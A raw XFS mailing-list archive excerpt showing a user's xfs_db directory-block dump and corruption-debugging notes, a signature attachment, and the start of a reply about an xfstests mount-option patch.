c7aa0538 ffff0028 = 0129b80a 560: 192e3137 202d2045 7465726e 6974792e 6d34762e 48707449 625a34be = fb360558 580: 00000008 0129b80a 11313720 2d204574 65726e69 74792e6d 3476cafa = 1f2a0580 5a0: ffff0028 0129b80b 1d2e3138 202d2046 69766520 62792046 6976652e = 6d34762e 5c0: 4d376f4b 703005a0 00000008 0129b80b 15313820 2d204669 76652062 = 79204669 5e0: 76652e6d 347605c8 ffff0028 0129b80c 1a2e3139 202d2053 616e6374 = 75617279 600: 2e6d3476 2e6a4b4c 514d4f4f 197a05e8 00000008 0129b80c 12313920 = 2d205361 620: 6e637475 6172792e 6d347638 4cbd0610 ffff0028 0129b80d 192e3230 = 202d2057 640: 6172205a 6f6e652e 6d34762e 45654333 39468f41 69da0630 00000008 = 0129b80d 660: 11323020 2d205761 72205a6f 6e652e6d 347627e8 12e20658 ffff0028 = 0129b80e 680: 1b2e3231 202d2042 6c696e64 20446174 652e6d34 762e3176 42307637 = 94160678 6a0: 00000008 0129b80e 13323120 2d20426c 696e6420 44617465 2e6d3476 = 0ec306a0 6c0: ffff0030 0129b80f 232e3232 202d2054 6f205368 616e7368 7520696e = 204c2e41 6e0: 2e2e6d34 762e796b 35673178 b54306c0 00000008 0129b80f 1b323220 = 2d20546f 700: 20536861 6e736875 20696e20 4c2e412e 2e6d3476 288c06f0 ffff0020 = 0129b810 720: 132e7365 61736f6e 5f646f6e 652e6e43 616a3843 95690718 00000008 = 0129b810 740: 0b736561 736f6e5f 646f6e65 e16d0738 ffff07d0 f9ea06ea d5e36984 = 08dfaf37 760: 839b1911 0eb746af fcddf06e 0f80efea 2026141f 2745eb43 576864b0 = 9ed2d367 780: 6416bfd5 fd3fbe54 e92297c6 c270efcc 92bcd97f a65c797c 183f55ef = 34a9a3c0 7a0: c8baae28 6ec2437e a1893396 953d1142 caa8f097 7bf24092 41761bd6 = b0c9476f 7c0: 49feafe8 27befa39 337839fe 6cb36a71 02271bae efc1dd71 feb52c4b = 86812ed3 7e0: 8796047e 0c56fca7 41e50a83 08caab90 44e09c44 128a8deb 53f0eeab = 53b77cfb 800: 81ed5efa a63df170 1f7f1141 a5d3c9cf 396814b6 4e9e25fe 02bb6dec = a53ad8d4 820: d0821508 4e9db912 93763d78 a8168589 03038a08 e0ca0726 7cd14047 = 5955481a 840: c4790009 219669b5 245a03a7 4432c8d7 75d11951 cf50c217 92c7ba29 = 6c0550e0 860: e62af66c be6f982d 10f973c9 eff4247a af474e28 596e66cf c4784950 = 4b8b2920 880: d1a86479 3bb122ce e7725d4f edcfd24e 873697d6 a32aa37a 50efecd4 = 5865ea8d 8a0: 2ab983d6 f7b5f8e9 1dd7da5c 25163ec5 f739efbb 1802ebee 130eedd2 = acbe5057 8c0: 657a9441 e45944ec 81fccc2e fb195d01 08e27602 8c05d317 192d287e = 1f6b6b44 8e0: 0ea3dac4 47a2220c 9bd0c05e d19f0084 9d29c842 2329ef6d ee5f1243 = c888b2d7 900: 72684d4d 2480de9e 17d89b6e 94d1ae56 a6801086 2606f081 16fa1c53 = 33d31265 920: e981b683 334e4852 7333fb71 b6a61d88 214c8e96 9951983f e274c5cf = 0df673b9 940: 2504e588 92166468 c6c797a1 8f5f19a1 3c361256 8d82a685 cc9ef823 = ce5c1bf8 960: 1079cc0c 17a734c1 20827061 c411c62c 061cefd0 9c859dee 4a9f4054 = 871d4aaa 980: ba6f826f b04c7af4 04bad6d3 a496781a ebfe246f 8ebc0b06 159d8229 = aebae34a 9a0: c6b2ade4 33464523 11f48dce 57012621 d78c8057 1d1f46f4 2a18a7f5 = 154ee854 9c0: e26663de ce93d67e 1ebb438a 3a5e7676 a3a23975 3e230af3 675493ca = 0c037437 9e0: 4b616411 0957bc98 d6a4e884 3e6cbc40 8d73ff32 70511f83 63412623 = 97c86e08 a00: aa4a81ec f63eb667 cc9d08d9 ad5587d3 bd633843 8bdc0dd5 082278c6 = 51a0bfcb a20: 516674cf 1a21edcf d637719e c0c2611a 3b704840 187e86bd 1588453c = e0dce6c2 a40: 72a96f83 80d9c4eb eb8cf0dc aa446e69 d52ebf6a 05f72c6f a699c103 = 0c9815d1 a60: 970a51cc d6624f7a d15b82bc 8d3e9dad 3faa9538 27def54a 028922fc = 38286c39 a80: 71c7a014 e0eded3a 0a690907 7388c60b c6b67887 6b902d4e 21ca8aeb = 7a4c5f65 aa0: 765eadca e2659fce 83f3c782 d52eb4b3 80d14192 96370abe 877069d8 = fb3556ca ac0: f3e9c2ad 8b8feaf2 40d369f7 7e47554e 66702687 b3111b33 e5ad2674 = 5688172c ae0: 3a3a0fd1 8423c871 edf5ffab fd8a4b5c 2f01203f 450a34d1 fdb3f703 = 812a7acd b00: f46e1c28 de90fa2a ec07adfc 9609447f 958c5b2a b0ed662f 0d8deba4 = c2435873 b20: 16a9b9f6 6fa8663c 44027b36 985464c4 efac6073 28dbc000 79e617e9 = a10f883a b40: 4b44c78f 55ab9384 187180c5 2db10f43 b0d9a0fe c1bc615f 052b89a7 = 89f8739a b60: e51b96c9 8a76ea67 6fbf1ba5 077d2a08 3dad2b88 e17d6c4e 6a553913 = 2c6fa5d1 b80: 2b6bf4bc 01c82612 1ebd3150 290dab97 b2fa8a81 1d29d75f a13a2c5e = 74944ff6 ba0: a1530f5f 79426a7d d491c2f0 f93639aa 1f67ae3c 8274b8a8 b4b79706 = 3539bde3 bc0: 7be2d58c 49875f20 cc314f03 33aaef61 cda9405d ff044415 fd150822 = faa4f257 be0: d4ed221a 5d5a8ce4 200e2e9c 96fccaad 4bba9f8b 253448a1 2de101f9 = 4916a536 c00: 725f39cc b7aaab5a 5c76965b e4009b17 0e0d53e4 d40d169b d4028a52 = 116ce300 c20: f2b43ec9 ef7bf8fe dc9a0b18 18b33c79 5d7d17ff d4db5b05 5e78ddbe = 15b21957 c40: 0cc1085b 2bb4784f 7ed53bb0 75b0f0b0 556d9dc1 59a25bca 39360281 = 496b7e29 c60: 057cdf54 d6bd1f0c 53d799a7 5546023d c4705471 ae45c65b 6293ef94 = 6d691cc3 c80: a639d85c e30a2c1b 55f8c1ea 2039f040 e7cee649 610e07cc d54727ce = 69e1106d ca0: 009d124c c4549462 bce84f03 cffd7cb2 15f84246 9f07d1cf 0868c871 = 911061d9 cc0: 6e46283e 3a27cab5 f9cb1ca9 54699f02 998fd95e 264df0ef 569c1493 = fe01fd0a ce0: eff15169 34bd36cc b5dc5191 ef90312d 65ae1a21 349ce3f1 cbe326ae = cc0bb2a7 d00: 1bfa7b64 a220c6a6 4082321c f9941053 ea9dc196 cff261d0 5874801f = 6b2924b6 d20: 86dce448 532071af f4d7f789 c7eb7853 27a6e68c e1bfd039 0c7edc86 = 58cf2529 d40: 1b018742 3634a552 9349bf37 4052e265 a39e4c76 9f82e539 7e04a1d0 = 25b2c962 d60: af93a551 99ebcd67 36371b9f 653dc4d5 64082e7b 5418806e 0a1f520b = c3760072 d80: eafc4c5a acebbcef 0001e2c5 0e60368a 58291704 cb6f1135 57e8bd7f = aac906db da0: df3d7989 f1036a7f 654b967e 633953db a05e60b4 fd5f48e2 867275a4 = 040f0928 dc0: ed385b29 bf0b2d96 eef904bc 9b695030 3cadcc76 ad48c64a f44c7350 = b5087bda de0: 23162a13 9326ada9 40982285 90862b55 ce7e1b1e 032a1b80 fc6a38b1 = e3366816 e00: 2f64457a 250baa07 073a83f5 cde75e52 2b6a288e bc579c34 c3be59f9 = c692e1cb e20: 12c6452f a869827c b2eeeaf9 f61ca991 45625e17 f1eb5b64 cc56633b = aad11127 e40: 7efa415e 4e63c788 1e53815a 9a3deed8 164c95f4 0e8c08e6 1f491f9a = 674d8896 e60: 2a658a0c 3869bb6d 7ce3df75 141daf64 d0118632 5e770c85 43a05783 = b8dca76e e80: 7f400acf 65cb07a4 f79b2e57 76c9132c eb0c2466 4f2c3785 37359252 = 86fc1e04 ea0: cbce2311 b62986ad 632365c3 38f2d301 979cbb61 cd10b57a bce9f49e = d475721a ec0: 4b66eaae 6b0d7314 7076c4d1 424dd11e ba955554 db9fbd69 a28407e0 = 2b86a30d ee0: 3680f9fc e58c9607 4077e015 a58184a3 56eace9e 9f124bb5 944a1b3c = 897ad88d f00: c2545a63 74d9659d d5af8264 4399a397 68d0a8c7 f7f59cb5 faf8f9db = 133b0750 f20: 0000002e 00000002 0000172e 00000004 0d3b2e62 000000b0 1052379a = 0000000a f40: 15fe1de6 00000000 1d7c54e2 000000e7 1da526c4 0000009e 1f127df8 = 000000cb f60: 2f384255 0000001c 3b0eaf4a 00000051 4040055a 00000046 484d370f = 00000078 f80: 54f0b050 0000005c 55e13fd3 000000b9 560de5f6 00000065 68b5d9ab = 00000093 fa0: 789cb9e0 00000089 7eb5a6e5 000000c2 88dfa187 00000081 8aa13ee8 = 0000003b fc0: 93fda139 00000012 a56edfc1 0000006e b7310079 00000026 bf010bb3 = 000000a7 fe0: e956d990 00000030 f909f282 000000de fb7fbced 000000d4 0000001b = 00000001 xfs_db> type dir2 xfs_db> p bhdr.magic =3D 0x58443242 bhdr.bestfree[0].offset =3D 0x750 bhdr.bestfree[0].length =3D 0x7d0 bhdr.bestfree[1].offset =3D 0x460 bhdr.bestfree[1].length =3D 0x38 bhdr.bestfree[2].offset =3D 0xb0 bhdr.bestfree[2].length =3D 0x30 bu[0].inumber =3D 34368088090 bu[0].namelen =3D 1 bu[0].name =3D "." bu[0].tag =3D 0x10 bu[1].inumber =3D 53687093248 bu[1].namelen =3D 2 bu[1].name =3D ".." bu[1].tag =3D 0x20 bu[2].freetag =3D 0xffff bu[2].length =3D 0x20 bu[2].tag =3D 0x30 bu[3].inumber =3D 34368088121 bu[3].namelen =3D 9 bu[3].name =3D ".DS_Store" bu[3].tag =3D 0x50 bu[4].freetag =3D 0xffff bu[4].length =3D 0x28 bu[4].tag =3D 0x68 bu[5].inumber =3D 34368088122 bu[5].namelen =3D 16 bu[5].name =3D "01 - City of.m4v" bu[5].tag =3D 0x90 bu[6].freetag =3D 0xffff bu[6].length =3D 0x30 bu[6].tag =3D 0xb0 bu[7].inumber =3D 34368088123 bu[7].namelen =3D 22 bu[7].name =3D "02 - Lonely Hearts.m4v" bu[7].tag =3D 0xe0 bu[8].freetag =3D 0xffff bu[8].length =3D 0x28 bu[8].tag =3D 0x108 bu[9].inumber =3D 34368088124 bu[9].namelen =3D 20 bu[9].name =3D "03 - In the Dark.m4v" bu[9].tag =3D 0x130 bu[10].freetag =3D 0xffff bu[10].length =3D 0x30 bu[10].tag =3D 0x150 bu[11].inumber =3D 34368088125 bu[11].namelen =3D 25 bu[11].name =3D "04 - I Fall to Pieces.m4v" bu[11].tag =3D 0x180 bu[12].freetag =3D 0xffff bu[12].length =3D 0x30 bu[12].tag =3D 0x1a8 bu[13].inumber =3D 34368088126 bu[13].namelen =3D 23 bu[13].name =3D "05 - Room with a Vu.m4v" bu[13].tag =3D 0x1d8 bu[14].freetag =3D 0xffff bu[14].length =3D 0x30 bu[14].tag =3D 0x200 bu[15].inumber =3D 34368088127 bu[15].namelen =3D 28 bu[15].name =3D "06 - Sense & Sensitivity.m4v" bu[15].tag =3D 0x230 bu[16].freetag =3D 0xffff bu[16].length =3D 0x30 bu[16].tag =3D 0x258 bu[17].inumber =3D 34379249664 bu[17].namelen =3D 23 bu[17].name =3D "07 - Bachelor Party.m4v" bu[17].tag =3D 0x288 bu[18].freetag =3D 0xffff bu[18].length =3D 0x30 bu[18].tag =3D 0x2b0 bu[19].inumber =3D 34379249665 bu[19].namelen =3D 28 bu[19].name =3D "08 - I Will Remember You.m4v" bu[19].tag =3D 0x2e0 bu[20].freetag =3D 0xffff bu[20].length =3D 0x20 bu[20].tag =3D 0x308 bu[21].inumber =3D 34379249666 bu[21].namelen =3D 13 bu[21].name =3D "09 - Hero.m4v" bu[21].tag =3D 0x328 bu[22].freetag =3D 0xffff bu[22].length =3D 0x30 bu[22].tag =3D 0x340 bu[23].inumber =3D 34379249667 bu[23].namelen =3D 22 bu[23].name =3D "10 - Parting Gifts.m4v" bu[23].tag =3D 0x370 bu[24].freetag =3D 0xffff bu[24].length =3D 0x28 bu[24].tag =3D 0x398 bu[25].inumber =3D 34379249668 bu[25].namelen =3D 21 bu[25].name =3D "11 - Somnambulist.m4v" bu[25].tag =3D 0x3c0 bu[26].freetag =3D 0xffff bu[26].length =3D 0x28 bu[26].tag =3D 0x3e0 bu[27].inumber =3D 34379249669 bu[27].namelen =3D 18 bu[27].name =3D "12 - Expecting.m4v" bu[27].tag =3D 0x408 bu[28].freetag =3D 0xffff bu[28].length =3D 0x20 bu[28].tag =3D 0x428 bu[29].inumber =3D 34379249670 bu[29].namelen =3D 12 bu[29].name =3D "13 - She.m4v" bu[29].tag =3D 0x448 bu[30].freetag =3D 0xffff bu[30].length =3D 0x38 bu[30].tag =3D 0x460 bu[31].inumber =3D 34379249671 bu[31].namelen =3D 35 bu[31].name =3D "14 - I\'ve Got You Under My Skin.m4v" bu[31].tag =3D 0x498 bu[32].freetag =3D 0xffff bu[32].length =3D 0x28 bu[32].tag =3D 0x4c8 bu[33].inumber =3D 34379249672 bu[33].namelen =3D 21 bu[33].name =3D "15 - The Prodigal.m4v" bu[33].tag =3D 0x4f0 bu[34].freetag =3D 0xffff bu[34].length =3D 0x28 bu[34].tag =3D 0x510 bu[35].inumber =3D 34379249673 bu[35].namelen =3D 17 bu[35].name =3D "16 - The Ring.m4v" bu[35].tag =3D 0x538 bu[36].freetag =3D 0xffff bu[36].length =3D 0x28 bu[36].tag =3D 0x558 bu[37].inumber =3D 34379249674 bu[37].namelen =3D 17 bu[37].name =3D "17 - Eternity.m4v" bu[37].tag =3D 0x580 bu[38].freetag =3D 0xffff bu[38].length =3D 0x28 bu[38].tag =3D 0x5a0 bu[39].inumber =3D 34379249675 bu[39].namelen =3D 21 bu[39].name =3D "18 - Five by Five.m4v" bu[39].tag =3D 0x5c8 bu[40].freetag =3D 0xffff bu[40].length =3D 0x28 bu[40].tag =3D 0x5e8 bu[41].inumber =3D 34379249676 bu[41].namelen =3D 18 bu[41].name =3D "19 - Sanctuary.m4v" bu[41].tag =3D 0x610 bu[42].freetag =3D 0xffff bu[42].length =3D 0x28 bu[42].tag =3D 0x630 bu[43].inumber =3D 34379249677 bu[43].namelen =3D 17 bu[43].name =3D "20 - War Zone.m4v" bu[43].tag =3D 0x658 bu[44].freetag =3D 0xffff bu[44].length =3D 0x28 bu[44].tag =3D 0x678 bu[45].inumber =3D 34379249678 bu[45].namelen =3D 19 bu[45].name =3D "21 - Blind Date.m4v" bu[45].tag =3D 0x6a0 bu[46].freetag =3D 0xffff bu[46].length =3D 0x30 bu[46].tag =3D 0x6c0 bu[47].inumber =3D 34379249679 bu[47].namelen =3D 27 bu[47].name =3D "22 - To Shanshu in L.A..m4v" bu[47].tag =3D 0x6f0 bu[48].freetag =3D 0xffff bu[48].length =3D 0x20 bu[48].tag =3D 0x718 bu[49].inumber =3D 34379249680 bu[49].namelen =3D 11 bu[49].name =3D "season_done" bu[49].tag =3D 0x738 bu[50].freetag =3D 0xffff bu[50].length =3D 0x7d0 bu[50].tag =3D 0x750 bleaf[0].hashval =3D 0x2e bleaf[0].address =3D 0x2 bleaf[1].hashval =3D 0x172e bleaf[1].address =3D 0x4 bleaf[2].hashval =3D 0xd3b2e62 bleaf[2].address =3D 0xb0 bleaf[3].hashval =3D 0x1052379a bleaf[3].address =3D 0xa bleaf[4].hashval =3D 0x15fe1de6 bleaf[4].address =3D 0 bleaf[5].hashval =3D 0x1d7c54e2 bleaf[5].address =3D 0xe7 bleaf[6].hashval =3D 0x1da526c4 bleaf[6].address =3D 0x9e bleaf[7].hashval =3D 0x1f127df8 bleaf[7].address =3D 0xcb bleaf[8].hashval =3D 0x2f384255 bleaf[8].address =3D 0x1c bleaf[9].hashval =3D 0x3b0eaf4a bleaf[9].address =3D 0x51 bleaf[10].hashval =3D 0x4040055a bleaf[10].address =3D 0x46 bleaf[11].hashval =3D 0x484d370f bleaf[11].address =3D 0x78 bleaf[12].hashval =3D 0x54f0b050 bleaf[12].address =3D 0x5c bleaf[13].hashval =3D 0x55e13fd3 bleaf[13].address =3D 0xb9 bleaf[14].hashval =3D 0x560de5f6 bleaf[14].address =3D 0x65 bleaf[15].hashval =3D 0x68b5d9ab bleaf[15].address =3D 0x93 bleaf[16].hashval =3D 0x789cb9e0 bleaf[16].address =3D 0x89 bleaf[17].hashval =3D 0x7eb5a6e5 bleaf[17].address =3D 0xc2 bleaf[18].hashval =3D 0x88dfa187 bleaf[18].address =3D 0x81 bleaf[19].hashval =3D 0x8aa13ee8 bleaf[19].address =3D 0x3b bleaf[20].hashval =3D 0x93fda139 bleaf[20].address =3D 0x12 bleaf[21].hashval =3D 0xa56edfc1 bleaf[21].address =3D 0x6e bleaf[22].hashval =3D 0xb7310079 bleaf[22].address =3D 0x26 bleaf[23].hashval =3D 0xbf010bb3 bleaf[23].address =3D 0xa7 bleaf[24].hashval =3D 0xe956d990 bleaf[24].address =3D 0x30 bleaf[25].hashval =3D 0xf909f282 bleaf[25].address =3D 0xde bleaf[26].hashval =3D 0xfb7fbced bleaf[26].address =3D 0xd4 btail.count =3D 27 btail.stale =3D 1 Based on the file names that=92s this, unaffected directory: vera /mnt/media/TV/Angel 0$ ls Season\ 1 01 - City of.m4v 07 - Bachelor Party.m4v 13 - She.m4v = 19 - Sanctuary.m4v 02 - Lonely Hearts.m4v 08 - I Will Remember You.m4v 14 - I've = Got You Under My Skin.m4v 20 - War Zone.m4v 03 - In the Dark.m4v 09 - Hero.m4v 15 - The = Prodigal.m4v 21 - Blind Date.m4v 04 - I Fall to Pieces.m4v 10 - Parting Gifts.m4v 16 - The = Ring.m4v 22 - To Shanshu in L.A..m4v 05 - Room with a Vu.m4v 11 - Somnambulist.m4v 17 - = Eternity.m4v season_done 06 - Sense & Sensitivity.m4v 12 - Expecting.m4v 18 - Five by = Five.m4v I md5sum=92d all those files against the last backup =97 they all seem = fine, and listing and opening those files does not produce any kernel = messages. I tried a couple other addresses from the logs and got similar results =97= they all worked fine and were not related to the inaccessible paths. > Hmmmm - you're not using LVM snapshots or anything like that are > you? No. Just a vanilla: `lvcreate -L 16T -n tv /dev/lvmsas` And the filesystem has had very little activity since creation =97 I = filed it from using rsync (converting from JFS after hitting the 32 TB = limit on that filesystem) and 99% of the files are marked immutable. Zach --Apple-Mail=_7F6F628A-FC7C-40C5-9BA6-0D1497A6BAC4 Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGTCCBhUw ggP9oAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNo aW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMRUw EwYDVQQDDAx1YmVyemFjaC5jb20xIDAeBgkqhkiG9w0BCQEWEXphY2hAa290bGFyZWsuY29tMB4X DTEzMDgxMzAwMjMzM1oXDTE4MDgxMjAwMjMzM1owgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApX YXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVr MRwwGgYDVQQDDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxh cmVrLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANL424NB+EzPp7/CqB/kxV+u 7MSpl9A8NlMqLldoPPJjpEwH9+4wfYrx+yUOBddih4WIgCD9NiF41+9tHu9gUqm+PZT8kdGXUIRP fuQuwKyzAv0rSyydXBQD/Q/gRrFaEJvJ5wVUxgE51K/ugGATmyWTSeMwATOJR4qTs1u2dfxBliyR xc2LCJCAgvuonwhfP1JprFYz+ycmlb/od3cAC5+8ggof5YJiitsUM6FPQtDykGPNWxhFnBwrVlQ+ vAxA1aT2v33C4MMK3hY3Ik8BUCZrAr4r/eWDSCBmcQydoawrUllAzEsVuozYqOW+EwbFp9RFDAZZ UZH/pMSEK5v2yQcf2m3zx4+9S5fLbvX660DFY90C1GSt9MyDjfpgx+Mtx7RtJI2abcei2PEXt38p U2aLypsHWsdloWhouzM4JpTkDXqCyUOm5hkUPgMdOXKHY5jCj0e7ok/Rknty7fJjolo4uyOKfJHQ cjoU1xuzA8ob0i8zufIL03FUK72dWL7xyAGjRs4Hsa6xd/SbPYGvYHJ2afxLeTDPZwzrLErxn9no E0wkAPnV0MfYbB+0Y/+Xaa2KIUflawzh3iQVkohrzmE9PU3gjiQJ9UqYtvx8HrUK2eEjCRinnSd5 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 tLf+HrOmvQAAAAAAAA== --Apple-Mail=_7F6F628A-FC7C-40C5-9BA6-0D1497A6BAC4-- From quwenruo@cn.fujitsu.com Sun Jan 12 21:59:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A0F3F29DF8 for ; Sun, 12 Jan 2014 21:59:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6BC09304039 for ; Sun, 12 Jan 2014 19:59:37 -0800 (PST) X-ASG-Debug-ID: 1389585575-04cb6c537bd6e1f0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id RDDtwj03I2lawBTI for ; Sun, 12 Jan 2014 19:59:35 -0800 (PST) X-Barracuda-Envelope-From: quwenruo@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,650,1384272000"; d="scan'208";a="9408352" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 13 Jan 2014 11:55:56 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s0D3xY0i011778; Mon, 13 Jan 2014 11:59:34 +0800 Received: from [172.16.0.100] ([10.167.226.24]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014011311582480-1015279 ; Mon, 13 Jan 2014 11:58:24 +0800 Message-ID: <52D364DA.4000708@cn.fujitsu.com> Date: Mon, 13 Jan 2014 12:00:26 +0800 From: Qu Wenruo User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs@oss.sgi.com, Eric Sandeen , linux-btrfs Subject: Re: [PATCH] xfstests: Add pairing mount options test References: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> <52D01CA9.4040107@sandeen.net> <52D33F92.2000609@cn.fujitsu.com> <52D342F0.5020402@sandeen.net> <20140113015239.GD3469@dastard> <52D34EBD.4020508@cn.fujitsu.com> <20140113032650.GH3469@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Add pairing mount options test In-Reply-To: <20140113032650.GH3469@dastard> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/13 11:58:24, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/13 11:58:25, Serialize complete at 2014/01/13 11:58:25 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=UTF-8; format=flowed X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1389585575 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144027 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, 13 Jan 2014 14:26:50 +1100, Dave Chinner wrote: > On Mon, Jan 13, 2014 at 10:26:05AM +0800, Qu Wenruo wrote: >> On mon, 13 Jan 2014 12:52:39 +1100, Dave Chinner wrote: >>> On Sun, Jan 12, 2014 at 07:35:44PM -0600, Eric Sandeen wrote: >>>> I won't say no to this, but it seems to be of somewhat limited use. >>> What happens to the test when mount options are deprecated/removed? >>> How are we going to handle the matrix of testable/untestable mount >>> options across kernels with different mount option support? >> In my opinion,there may be two ways to deal it: >> 1) Introduce up_limit_kver and 